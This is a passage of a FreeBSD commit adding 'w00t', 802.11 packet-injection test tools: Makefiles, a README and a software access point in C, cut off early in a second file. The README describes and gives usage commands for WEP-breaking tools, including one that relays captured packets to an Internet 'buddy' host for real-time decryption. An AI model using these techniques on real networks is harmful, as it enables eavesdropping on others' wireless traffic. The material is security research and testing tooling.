summaryrefslogtreecommitdiffstats
path: root/tools
diff options
context:
space:
mode:
authorsam <sam@FreeBSD.org>2006-08-05 05:18:03 +0000
committersam <sam@FreeBSD.org>2006-08-05 05:18:03 +0000
commit9cfa19eab80e8c09816fc2c5ee37a2403b2dff45 (patch)
treefbaa99ce7b12ffb7900f239273348d1a5b769670 /tools
parent68f1c8859e3a3e807e4de30a7936e056e55890b1 (diff)
downloadFreeBSD-src-9cfa19eab80e8c09816fc2c5ee37a2403b2dff45.zip
FreeBSD-src-9cfa19eab80e8c09816fc2c5ee37a2403b2dff45.tar.gz
test programs for 802.11 packet injection
Submitted by: Andrea Bittau <a.bittau@cs.ucl.ac.uk>
Diffstat (limited to 'tools')
-rw-r--r--tools/tools/net80211/w00t/Makefile5
-rw-r--r--tools/tools/net80211/w00t/Makefile.inc11
-rw-r--r--tools/tools/net80211/w00t/README78
-rw-r--r--tools/tools/net80211/w00t/ap/Makefile7
-rw-r--r--tools/tools/net80211/w00t/ap/ap.c916
-rw-r--r--tools/tools/net80211/w00t/assoc/Makefile7
-rw-r--r--tools/tools/net80211/w00t/assoc/assoc.c938
-rw-r--r--tools/tools/net80211/w00t/expand/Makefile7
-rw-r--r--tools/tools/net80211/w00t/expand/expand.c468
-rw-r--r--tools/tools/net80211/w00t/libw00t/Makefile7
-rw-r--r--tools/tools/net80211/w00t/libw00t/w00t.c414
-rw-r--r--tools/tools/net80211/w00t/libw00t/w00t.h57
-rw-r--r--tools/tools/net80211/w00t/prga/Makefile7
-rw-r--r--tools/tools/net80211/w00t/prga/prga.c664
-rw-r--r--tools/tools/net80211/w00t/redir/Makefile7
-rw-r--r--tools/tools/net80211/w00t/redir/buddy.c158
-rw-r--r--tools/tools/net80211/w00t/redir/redir.c709
17 files changed, 4460 insertions, 0 deletions
diff --git a/tools/tools/net80211/w00t/Makefile b/tools/tools/net80211/w00t/Makefile
new file mode 100644
index 0000000..1aecd69
--- /dev/null
+++ b/tools/tools/net80211/w00t/Makefile
@@ -0,0 +1,5 @@
+# $FreeBSD$
+
+SUBDIR= libw00t ap assoc expand prga redir
+
+.include <bsd.subdir.mk>
diff --git a/tools/tools/net80211/w00t/Makefile.inc b/tools/tools/net80211/w00t/Makefile.inc
new file mode 100644
index 0000000..0670300
--- /dev/null
+++ b/tools/tools/net80211/w00t/Makefile.inc
@@ -0,0 +1,11 @@
+# $FreeBSD$
+
+W00T= ../libw00t
+# NB: we get crc32 from -lz
+DPADD= ${W00T}/libw00t.a ${LIBCRYPTO} ${LIBZ}
+LDADD= -L${W00T} -lw00t -lcrypto -lz
+
+BINDIR= /usr/local/bin
+CFLAGS= -g -I${W00T}
+
+NO_MAN=
diff --git a/tools/tools/net80211/w00t/README b/tools/tools/net80211/w00t/README
new file mode 100644
index 0000000..7620f8f
--- /dev/null
+++ b/tools/tools/net80211/w00t/README
@@ -0,0 +1,78 @@
+$FreeBSD$
+
+This is a collection of tools that use raw 802.11 packet injection.
+None of the tools configure the interface, so be sure to run something
+like:
+
+ifconfig ath0 channel 7 mediaopt monitor promisc up
+
+beforehand. The following tools are found here:
+
+assoc A wifi client.
+ap A wifi access point.
+
+prga Gives ability to transmit on a WEP network.
+redir Gives ability to decrypt in real-time on a WEP network, via Internet.
+expand Gives ability to decrypt locally on a WEP network.
+
+All these tools depend on:
+
+libw00t Utility functions used by all tools.
+
+Detailed explanation of tools.
+==============================
+
+assoc:
+
+Acts as a wifi client. It will associate to a network and bind a
+tap interface to it. The interface may be used like a standard eth
+interface attached to a normal LAN. Multiple instances of the
+program may be run in order to connect to multiple APs simultaneously.
+Example:
+
+./assoc -s w00t -t tap0
+ifconfig tap0 192.168.0.123 up
+ping 192.168.0.1
+
+ap:
+
+The same as assoc, but acts as an access point. Example:
+
+./ap -s w00t -t tap1
+ifconfig tap1 192.168.0.1 up
+tcpdump -n -i tap1
+
+[For the next set of tools, refer to http://tapir.cs.ucl.ac.uk/bittau-wep.pdf
+for theoretical information.]
+
+prga:
+
+Sniff a packet on a WEP network and obtain a keystream. It binds
+to a tap interface which may be used to TX packets on that network.
+Example:
+
+./prga -b bssid_of_network -t tap0
+ifconfig tap0 192.168.0.123 up
+ping 192.168.0.1
+
+redir:
+
+Resend WEP packets to our buddy on the Internet. The buddy will
+receive the clear-text and send it back to us via a UDP socket.
+This data is then fed back into a tap interface. This way, data
+may be ultimately be read from the tab iface in clear-text. Example:
+
+[Box on Internet]~# ./buddy
+./redir -d buddy_ip -b bssid -t tap0 -r wifi_rtr_mac -s wifi_src_ip -p 666
+ifconfig tap0 up
+tcpdump -n -i tap0
+
+expand:
+
+Sniff a WEP packet and do the linear keystream expansion trick to
+decrypt it. The clear-text packet is sent to a tap interface.
+Example:
+
+./expand -b bssid -t tap0
+ifconfig tap0 up
+tcpdump -n -i tap0
diff --git a/tools/tools/net80211/w00t/ap/Makefile b/tools/tools/net80211/w00t/ap/Makefile
new file mode 100644
index 0000000..96fe419
--- /dev/null
+++ b/tools/tools/net80211/w00t/ap/Makefile
@@ -0,0 +1,7 @@
+# $FreeBSD$
+
+.include <../Makefile.inc>
+
+PROG= ap
+
+.include <bsd.prog.mk>
diff --git a/tools/tools/net80211/w00t/ap/ap.c b/tools/tools/net80211/w00t/ap/ap.c
new file mode 100644
index 0000000..2b334ab
--- /dev/null
+++ b/tools/tools/net80211/w00t/ap/ap.c
@@ -0,0 +1,916 @@
+/*-
+ * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ * $FreeBSD$
+ */
+#include <sys/types.h>
+#include <sys/select.h>
+#include <sys/time.h>
+#include <sys/endian.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <err.h>
+#include <assert.h>
+#include "w00t.h"
+
+struct client {
+ char mac[6];
+ int seq;
+
+ struct client *next;
+};
+
+struct params {
+ /* fds */
+ int tx;
+ int rx;
+ int tap;
+
+ /* ap params */
+ char mac[6];
+ char ssid[256];
+ int chan;
+
+ /* beacon */
+ int bint;
+ struct timeval blast;
+
+ int seq;
+
+ /* wep */
+ int wep_len;
+ char wep_key[13];
+ int wep_iv;
+
+ struct client *clients;
+
+ /* lame window */
+ char packet[4096];
+ int packet_len;
+ int packet_try;
+ struct timeval plast;
+};
+
+void usage(char *name)
+{
+ printf("Usage: %s <opts>\n"
+ "-h\thelp\n"
+ "-i\t<iface>\n"
+ "-s\t<ssid>\n"
+ "-m\t<mac>\n"
+ "-w\t<wep key>\n"
+ "-c\t<chan>\n"
+ "-t\t<tap>\n"
+ , name);
+ exit(0);
+}
+
+void fill_basic(struct ieee80211_frame *wh, struct params *p)
+{
+ short *seq;
+
+ wh->i_dur[0] = 0x69;
+ wh->i_dur[1] = 0x00;
+
+ memcpy(wh->i_addr2, p->mac, 6);
+
+ seq = (short*)wh->i_seq;
+ *seq = seqfn(p->seq, 0);
+}
+
+void send_frame(struct params *p, void *buf, int len)
+{
+ int rc;
+
+ rc = inject(p->tx, buf, len);
+ if (rc == -1)
+ err(1, "inject()");
+ if (rc != len) {
+ printf("injected %d/%d\n", rc, len);
+ exit(1);
+ }
+ p->seq++;
+}
+
+int fill_beacon(struct params *p, struct ieee80211_frame *wh)
+{
+ int len;
+ char *ptr;
+
+ ptr = (char*) (wh+1);
+ ptr += 8; /* timestamp */
+ ptr += 2; /* bint */
+ *ptr |= IEEE80211_CAPINFO_ESS;
+ ptr += 2; /* capa */
+
+ /* ssid */
+ len = strlen(p->ssid);
+ *ptr++ = 0;
+ *ptr++ = len;
+ memcpy(ptr, p->ssid, len);
+ ptr += len;
+
+ /* rates */
+ *ptr++ = 1;
+ *ptr++ = 4;
+ *ptr++ = 2 | 0x80;
+ *ptr++ = 4 | 0x80;
+ *ptr++ = 11;
+ *ptr++ = 22;
+
+ /* ds param */
+ *ptr++ = 3;
+ *ptr++ = 1;
+ *ptr++ = p->chan;
+
+ return ptr - ((char*) wh);
+}
+
+void send_beacon(struct params *p)
+{
+ char buf[4096];
+ struct ieee80211_frame *wh;
+ int len;
+ char *ptr;
+
+ wh = (struct ieee80211_frame*) buf;
+
+ memset(buf, 0, sizeof(buf));
+ fill_basic(wh, p);
+ memset(wh->i_addr1, 0xff, 6);
+ memcpy(wh->i_addr3, p->mac, 6);
+
+ wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT;
+ wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_BEACON;
+
+ len = fill_beacon(p, wh);
+
+ /* TIM */
+ ptr = (char*)wh + len;
+ *ptr++ = 5;
+ *ptr++ = 4;
+ len += 2+4;
+#if 0
+ printf("sending beacon\n");
+#endif
+ send_frame(p, wh, len);
+
+ if (gettimeofday(&p->blast, NULL) == -1)
+ err(1, "gettimeofday()");
+}
+
+
+void send_pres(struct params *p, char *mac)
+{
+ char buf[4096];
+ struct ieee80211_frame *wh;
+ int len;
+
+ wh = (struct ieee80211_frame*) buf;
+
+ memset(buf, 0, sizeof(buf));
+ fill_basic(wh, p);
+ memcpy(wh->i_addr1, mac, 6);
+ memcpy(wh->i_addr3, p->mac, 6);
+
+ wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT;
+ wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_PROBE_RESP;
+
+ len = fill_beacon(p, wh);
+
+ printf("sending probe response\n");
+ send_frame(p, wh, len);
+}
+
+void read_preq(struct params *p, struct ieee80211_frame *wh, int len)
+{
+ unsigned char *ptr;
+ unsigned char *end;
+ unsigned char macs[6*3];
+
+ ptr = (unsigned char*) (wh+1);
+
+ /* ssid */
+ if (*ptr != 0) {
+ printf("weird pr %x\n", *ptr);
+ return;
+ }
+ ptr++;
+
+ end = ptr + (*ptr) + 1;
+ *end = 0;
+ ptr++;
+
+ mac2str(macs, wh->i_addr2);
+ printf("Probe request for [%s] from %s\n", ptr, macs);
+
+ if ((strcmp(ptr, "") == 0) || (strcmp(ptr, p->ssid) == 0))
+ send_pres(p, wh->i_addr2);
+}
+
+void send_auth(struct params* p, char *mac)
+{
+ char buf[4096];
+ struct ieee80211_frame *wh;
+ unsigned short *ptr;
+ int len;
+
+ wh = (struct ieee80211_frame*) buf;
+
+ memset(buf, 0, sizeof(buf));
+ fill_basic(wh, p);
+ memcpy(wh->i_addr1, mac, 6);
+ memcpy(wh->i_addr3, p->mac, 6);
+
+ wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT;
+ wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_AUTH;
+
+ ptr = (unsigned short*) (wh+1);
+ *ptr++ = htole16(0);
+ *ptr++ = htole16(2);
+ *ptr++ = htole16(0);
+
+ len = ((char*)ptr) - ((char*) wh);
+ printf("sending auth\n");
+ send_frame(p, wh, len);
+}
+
+void read_auth(struct params *p, struct ieee80211_frame *wh, int len)
+{
+ unsigned short *ptr;
+ char mac[6*3];
+
+ if (memcmp(wh->i_addr1, p->mac, 6) != 0)
+ return;
+
+ ptr = (unsigned short*) (wh+1);
+ if (le16toh(*ptr) != 0) {
+ printf("Unknown auth algo %d\n", le16toh(*ptr));
+ return;
+ }
+ ptr++;
+ if (le16toh(*ptr) == 1) {
+ mac2str(mac, wh->i_addr2);
+ printf("Got auth from %s\n", mac);
+ send_auth(p, wh->i_addr2);
+ } else {
+ printf("Weird seq in auth %d\n", le16toh(*ptr));
+ }
+}
+
+void send_assoc(struct params *p, char *mac)
+{
+ char buf[4096];
+ struct ieee80211_frame *wh;
+ char *ptr;
+ int len;
+
+ wh = (struct ieee80211_frame*) buf;
+
+ memset(buf, 0, sizeof(buf));
+ fill_basic(wh, p);
+ memcpy(wh->i_addr1, mac, 6);
+ memcpy(wh->i_addr3, p->mac, 6);
+
+ wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT;
+ wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_ASSOC_RESP;
+
+ ptr = (char*) (wh+1);
+ *ptr |= IEEE80211_CAPINFO_ESS;
+ ptr += 2; /* cap */
+ ptr += 2; /* status */
+ ptr += 2; /* aid */
+
+ /* rates */
+ *ptr++ = 1;
+ *ptr++ = 4;
+ *ptr++ = 2 | 0x80;
+ *ptr++ = 4 | 0x80;
+ *ptr++ = 11;
+ *ptr++ = 22;
+
+ len = ptr - ((char*) wh);
+ printf("sending assoc response\n");
+ send_frame(p, wh, len);
+}
+
+void read_assoc(struct params *p, struct ieee80211_frame *wh, int len)
+{
+ unsigned char *ptr;
+ unsigned char *end;
+ unsigned char macs[6*3];
+
+ if (memcmp(wh->i_addr1, p->mac, 6) != 0)
+ return;
+
+ ptr = (unsigned char*) (wh+1);
+ ptr += 2; /* capa */
+ ptr += 2; /* list interval */
+
+ /* ssid */
+ if (*ptr != 0) {
+ printf("weird pr %x\n", *ptr);
+ return;
+ }
+ ptr++;
+
+ end = ptr + (*ptr) + 1;
+ *end = 0;
+ ptr++;
+
+ mac2str(macs, wh->i_addr2);
+ printf("Assoc request for [%s] from %s\n", ptr, macs);
+
+ if (strcmp(ptr, p->ssid) == 0)
+ send_assoc(p, wh->i_addr2);
+}
+
+void read_mgt(struct params *p, struct ieee80211_frame *wh, int len)
+{
+ switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) {
+ case IEEE80211_FC0_SUBTYPE_PROBE_REQ:
+ read_preq(p, wh, len);
+ break;
+
+ case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
+ break;
+
+ case IEEE80211_FC0_SUBTYPE_AUTH:
+ read_auth(p, wh, len);
+ break;
+
+ case IEEE80211_FC0_SUBTYPE_ASSOC_REQ:
+ read_assoc(p, wh, len);
+ break;
+
+ case IEEE80211_FC0_SUBTYPE_ASSOC_RESP:
+ case IEEE80211_FC0_SUBTYPE_BEACON:
+ break;
+
+ default:
+ printf("wtf %d\n", (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) >>
+ IEEE80211_FC0_SUBTYPE_SHIFT);
+ abort();
+ break;
+ }
+}
+
+void send_cts(struct params *p, char *mac)
+{
+ char buf[64];
+ struct ieee80211_frame *wh;
+
+ memset(buf, 0, sizeof(buf));
+ wh = (struct ieee80211_frame*) buf;
+ wh->i_fc[0] |= IEEE80211_FC0_TYPE_CTL;
+ wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_CTS;
+ wh->i_dur[0] = 0x69;
+ wh->i_dur[0] = 0x00;
+ memcpy(wh->i_addr1, mac, 6);
+
+ send_frame(p, wh, 10);
+}
+
+void read_rts(struct params *p, struct ieee80211_frame *wh, int len)
+{
+ if (memcmp(wh->i_addr1, p->mac, 6) != 0)
+ return;
+
+ send_cts(p, wh->i_addr2);
+}
+
+void read_ack(struct params *p, struct ieee80211_frame *wh, int len)
+{
+ if (memcmp(wh->i_addr1, p->mac, 6) == 0)
+ p->packet_try = 0;
+}
+
+void read_ctl(struct params *p, struct ieee80211_frame *wh, int len)
+{
+ switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) {
+ case IEEE80211_FC0_SUBTYPE_RTS:
+ read_rts(p, wh, len);
+ break;
+
+ case IEEE80211_FC0_SUBTYPE_ACK:
+ read_ack(p, wh, len);
+ break;
+
+ case IEEE80211_FC0_SUBTYPE_CTS:
+ break;
+
+ default:
+ printf("wtf %d\n", (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) >>
+ IEEE80211_FC0_SUBTYPE_SHIFT);
+ abort();
+ break;
+ }
+#if 0
+ printf("ctl\n");
+#endif
+}
+
+int broadcast(struct ieee80211_frame *wh)
+{
+ /* XXX multicast */
+
+ if (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0)
+ return 1;
+
+ return 0;
+}
+
+void enque(struct params *p, struct ieee80211_frame *wh, int len)
+{
+ if (broadcast(wh))
+ return;
+
+ assert(sizeof(p->packet) >= len);
+
+ memcpy(p->packet, wh, len);
+ p->packet_len = len;
+ p->packet_try = 1;
+
+ wh = (struct ieee80211_frame*) p->packet;
+ wh->i_fc[1] |= IEEE80211_FC1_RETRY;
+
+ if (gettimeofday(&p->plast, NULL) == -1)
+ err(1, "gettimeofday()");
+}
+
+void relay_data(struct params *p, struct ieee80211_frame *wh, int len)
+{
+ char seq[2];
+ char fc[2];
+ unsigned short *ps;
+
+ /* copy crap */
+ memcpy(fc, wh->i_fc, 2);
+ memcpy(seq, wh->i_seq, 2);
+
+ /* relay frame */
+ wh->i_fc[1] &= ~(IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_RETRY);
+ wh->i_fc[1] |= IEEE80211_FC1_DIR_FROMDS;
+ memcpy(wh->i_addr1, wh->i_addr3, sizeof(wh->i_addr1));
+ memcpy(wh->i_addr3, wh->i_addr2, sizeof(wh->i_addr3));
+ memcpy(wh->i_addr2, p->mac, sizeof(wh->i_addr2));
+ ps = (unsigned short*)wh->i_seq;
+ *ps = seqfn(p->seq, 0);
+
+ send_frame(p, wh, len);
+ enque(p, wh, len);
+
+ /* restore */
+ memcpy(wh->i_fc, fc, sizeof(fc));
+ memcpy(wh->i_addr2, wh->i_addr3, sizeof(wh->i_addr2));
+ memcpy(wh->i_addr3, wh->i_addr1, sizeof(wh->i_addr2));
+ memcpy(wh->i_addr1, p->mac, sizeof(wh->i_addr1));
+ memcpy(wh->i_seq, seq, sizeof(seq));
+}
+
+void read_real_data(struct params *p, struct ieee80211_frame *wh, int len)
+{
+ char dst[6];
+ int rc;
+ char *ptr = (char*) (wh+1);
+
+ /* stuff not for this net */
+ if (memcmp(wh->i_addr1, p->mac, 6) != 0)
+ return;
+
+ /* relay data */
+ if (memcmp(wh->i_addr3, p->mac, 6) != 0)
+ relay_data(p, wh, len);
+
+ memcpy(dst, wh->i_addr3, 6);
+
+
+ if (wh->i_fc[1] & IEEE80211_FC1_WEP) {
+ if (!p->wep_len) {
+ printf("Got wep but i aint wep\n");
+ return;
+ }
+
+ if (wep_decrypt(wh, len, p->wep_key, p->wep_len) == -1){
+ printf("Can't decrypt\n");
+ return;
+ }
+
+ ptr += 4;
+ len -= 8;
+ }
+
+ /* ether header */
+ ptr += 8 - 2;
+ ptr -= 6;
+ memcpy(ptr, wh->i_addr2, 6);
+ ptr -= 6;
+ memcpy(ptr, dst, 6);
+
+ len -= sizeof(*wh);
+ len -= 8;
+ len += 14;
+
+ /* send to tap */
+ rc = write(p->tap, ptr, len);
+ if (rc == -1)
+ err(1, "write()");
+ if (rc != len) {
+ printf("Wrote %d/%d\n", rc, len);
+ exit(1);
+ }
+}
+
+void read_data(struct params *p, struct ieee80211_frame *wh, int len)
+{
+ switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) {
+ case IEEE80211_FC0_SUBTYPE_DATA:
+ read_real_data(p, wh, len);
+ break;
+
+ case IEEE80211_FC0_SUBTYPE_NODATA:
+ break;
+
+ default:
+ printf("wtf %d\n", (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) >>
+ IEEE80211_FC0_SUBTYPE_SHIFT);
+ abort();
+ break;
+ }
+}
+
+struct client* client_find(struct params *p, char *mac)
+{
+ struct client* c = p->clients;
+
+ while (c) {
+ if (memcmp(c->mac, mac, 6) == 0)
+ return c;
+
+ c = c->next;
+ }
+
+ return NULL;
+}
+
+void client_insert(struct params *p, struct client *c)
+{
+#if 1
+ do {
+ char mac[6*3];
+
+ mac2str(mac, c->mac);
+ printf("Adding client %s\n", mac);
+ } while(0);
+#endif
+
+ c->next = p->clients;
+ p->clients = c;
+}
+
+int duplicate(struct params *p, struct ieee80211_frame *wh, int rc)
+{
+ struct client *c;
+ int s;
+
+ if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA,
+ IEEE80211_FC0_SUBTYPE_DATA))
+ return 0;
+
+ s = seqno(wh);
+
+ c = client_find(p, wh->i_addr2);
+ if (!c) {
+ c = malloc(sizeof(*c));
+ if (!c)
+ err(1, "malloc()");
+
+ memset(c, 0, sizeof(*c));
+ memcpy(c->mac, wh->i_addr2, 6);
+
+ c->seq = s-1;
+ client_insert(p, c);
+ }
+
+ if (wh->i_fc[1] & IEEE80211_FC1_RETRY) {
+ if ( (s <= c->seq) && ((c->seq - s ) < 5)) {
+#if 0
+ printf("Dup seq %d prev %d\n",
+ s, c->seq);
+#endif
+ return 1;
+ }
+ }
+
+#if 0
+ do {
+ char mac[3*6];
+
+ mac2str(mac, c->mac);
+ printf("%s seq %d prev %d\n", mac, s, c->seq);
+ } while (0);
+#endif
+
+ c->seq = s;
+ return 0;
+}
+
+void ack(struct params *p, struct ieee80211_frame *wh)
+{
+ if (memcmp(wh->i_addr1, p->mac, 6) != 0)
+ return;
+
+ if ((wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) == IEEE80211_FC0_TYPE_CTL)
+ return;
+
+ send_ack(p->tx, wh->i_addr2);
+}
+
+void read_wifi(struct params *p)
+{
+ char buf[4096];
+ int rc;
+ struct ieee80211_frame *wh;
+
+ rc = sniff(p->rx, buf, sizeof(buf));
+ if (rc == -1)
+ err(1, "sniff()");
+
+ wh = get_wifi(buf, &rc);
+ if (!wh)
+ return;
+
+ /* filter my own shit */
+ if (memcmp(wh->i_addr2, p->mac, 6) == 0) {
+ /* XXX CTL frames */
+ if ((wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) !=
+ IEEE80211_FC0_TYPE_CTL)
+ return;
+ }
+
+#if 1
+ ack(p, wh);
+#endif
+
+ if (duplicate(p, wh, rc)) {
+#if 0
+ printf("Dup\n");
+#endif
+ return;
+ }
+
+ switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) {
+ case IEEE80211_FC0_TYPE_MGT:
+ read_mgt(p, wh, rc);
+ break;
+
+ case IEEE80211_FC0_TYPE_CTL:
+ read_ctl(p, wh, rc);
+ break;
+
+ case IEEE80211_FC0_TYPE_DATA:
+ read_data(p, wh, rc);
+ break;
+
+ default:
+ printf("wtf\n");
+ abort();
+ break;
+ }
+}
+
+void read_tap(struct params *p)
+{
+ char buf[4096];
+ char *ptr;
+ int len = sizeof(buf);
+ int offset;
+ char src[6], dst[6];
+ struct ieee80211_frame *wh;
+ int rd;
+
+ ptr = buf;
+ offset = sizeof(struct ieee80211_frame) + 8 - 14;
+ if (p->wep_len)
+ offset += 4;
+
+ ptr += offset;
+ len -= offset;
+
+ /* read packet */
+ memset(buf, 0, sizeof(buf));
+ rd = read(p->tap, ptr, len);
+ if (rd == -1)
+ err(1, "read()");
+
+ /* 802.11 header */
+ wh = (struct ieee80211_frame*) buf;
+ memcpy(dst, ptr, sizeof(dst));
+ memcpy(src, ptr+6, sizeof(src));
+ fill_basic(wh, p);
+ memcpy(wh->i_addr3, src, sizeof(wh->i_addr3));
+ memcpy(wh->i_addr1, dst, sizeof(wh->i_addr1));
+ wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
+ wh->i_fc[1] |= IEEE80211_FC1_DIR_FROMDS;
+ if (p->wep_len)
+ wh->i_fc[1] |= IEEE80211_FC1_WEP;
+
+ /* LLC & SNAP */
+ ptr = (char*) (wh+1);
+ if (p->wep_len)
+ ptr += 4;
+ *ptr++ = 0xAA;
+ *ptr++ = 0xAA;
+ *ptr++ = 0x03;
+ *ptr++ = 0x00;
+ *ptr++ = 0x00;
+ *ptr++ = 0x00;
+ /* ether type overlaps w00t */
+
+ rd += offset;
+
+ /* WEP */
+ if (p->wep_len) {
+ ptr = (char*) (wh+1);
+ memcpy(ptr, &p->wep_iv, 3);
+ ptr[3] = 0;
+ p->wep_iv++;
+
+ wep_encrypt(wh, rd, p->wep_key, p->wep_len);
+ rd += 4; /* ICV */
+ }
+
+ send_frame(p, wh, rd);
+}
+
+int retransmit(struct params *p)
+{
+#if 0
+ printf("RETRANS %d\n", p->packet_try);
+#endif
+
+ send_frame(p, p->packet, p->packet_len);
+ p->packet_try++;
+
+ if (p->packet_try > 3)
+ p->packet_try = 0;
+ else {
+ if (gettimeofday(&p->plast, NULL) == -1)
+ err(1, "gettimeofday()");
+ }
+
+ return p->packet_try;
+}
+
+void next_event(struct params *p)
+{
+ struct timeval to, now;
+ int el;
+ int max;
+ fd_set fds;
+ int rtr = 3*1000;
+
+ /* figure out select timeout */
+ if (gettimeofday(&now, NULL) == -1)
+ err(1, "gettimeofday()");
+
+ /* check beacon timeout */
+ el = elapsed(&p->blast, &now);
+ if (el >= p->bint) {
+ send_beacon(p);
+ el = 0;
+ }
+ el = p->bint - el;
+ to.tv_sec = el/1000/1000;
+ to.tv_usec = el - to.tv_sec*1000*1000;
+
+ /* check tx timeout */
+ if (p->packet_try) {
+ el = elapsed(&p->plast, &now);
+ if (el >= rtr) {
+ /* check if we gotta retransmit more */
+ if (retransmit(p)) {
+ el = 0;
+ }
+ else
+ el = -1;
+ }
+
+ /* gotta retransmit in future */
+ if (el != -1) {
+ el = rtr - el;
+ if ((to.tv_sec*1000*1000 + to.tv_usec) > el) {
+ to.tv_sec = el/1000/1000;
+ to.tv_usec = el - to.tv_sec*1000*1000;
+ }
+ }
+ }
+
+ /* select */
+ FD_ZERO(&fds);
+ FD_SET(p->rx, &fds);
+ FD_SET(p->tap, &fds);
+ max = p->rx > p->tap ? p->rx : p->tap;
+ if (select(max+1, &fds, NULL, NULL, &to) == -1)
+ err(1, "select()");
+
+ if (FD_ISSET(p->tap, &fds))
+ read_tap(p);
+ if (FD_ISSET(p->rx, &fds))
+ read_wifi(p);
+}
+
+int main(int argc, char *argv[])
+{
+ char *iface = "ath0";
+ char *tap = "tap0";
+ struct params p;
+ int ch;
+
+ /* default params */
+ memset(&p, 0, sizeof(p));
+ memcpy(p.mac, "\x00\x00\xde\xfa\xce\x0d", 6);
+ strcpy(p.ssid, "sorbo");
+ p.bint = 500*1000;
+ p.seq = getpid();
+ if (gettimeofday(&p.blast, NULL) == -1)
+ err(1, "gettimeofday()");
+ p.chan = 3;
+
+ while ((ch = getopt(argc, argv, "hi:s:m:w:c:t:")) != -1) {
+ switch (ch) {
+ case 'i':
+ iface = optarg;
+ break;
+ case 't':
+ tap = optarg;
+ break;
+
+ case 'c':
+ p.chan = atoi(optarg);
+ break;
+
+ case 's':
+ strncpy(p.ssid, optarg, sizeof(p.ssid)-1);
+ p.ssid[sizeof(p.ssid)-1] = 0;
+ break;
+
+ case 'm':
+ str2mac(p.mac, optarg);
+ break;
+
+ case 'w':
+ if (str2wep(p.wep_key, &p.wep_len, optarg)) {
+ printf("Error parsing WEP key\n");
+ exit(1);
+ }
+ break;
+
+ case 'h':
+ default:
+ usage(argv[0]);
+ break;
+ }
+ }
+
+ /* init */
+ if ((p.tx = open_tx(iface)) == -1)
+ err(1, "open_tx()");
+ if ((p.rx = open_rx(iface)) == -1)
+ err(1, "open_rx()");
+
+ if ((p.tap = open_tap(tap)) == -1)
+ err(1, "open_tap()");
+ if (set_iface_mac(tap, p.mac) == -1)
+ err(1, "set_iface_mac()");
+
+ while (1) {
+ next_event(&p);
+ }
+
+ exit(0);
+}
diff --git a/tools/tools/net80211/w00t/assoc/Makefile b/tools/tools/net80211/w00t/assoc/Makefile
new file mode 100644
index 0000000..23271a3
--- /dev/null
+++ b/tools/tools/net80211/w00t/assoc/Makefile
@@ -0,0 +1,7 @@
+# $FreeBSD$
+
+.include <../Makefile.inc>
+
+PROG= assoc
+
+.include <bsd.prog.mk>
diff --git a/tools/tools/net80211/w00t/assoc/assoc.c b/tools/tools/net80211/w00t/assoc/assoc.c
new file mode 100644
index 0000000..65853af
--- /dev/null
+++ b/tools/tools/net80211/w00t/assoc/assoc.c
@@ -0,0 +1,938 @@
+/*-
+ * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
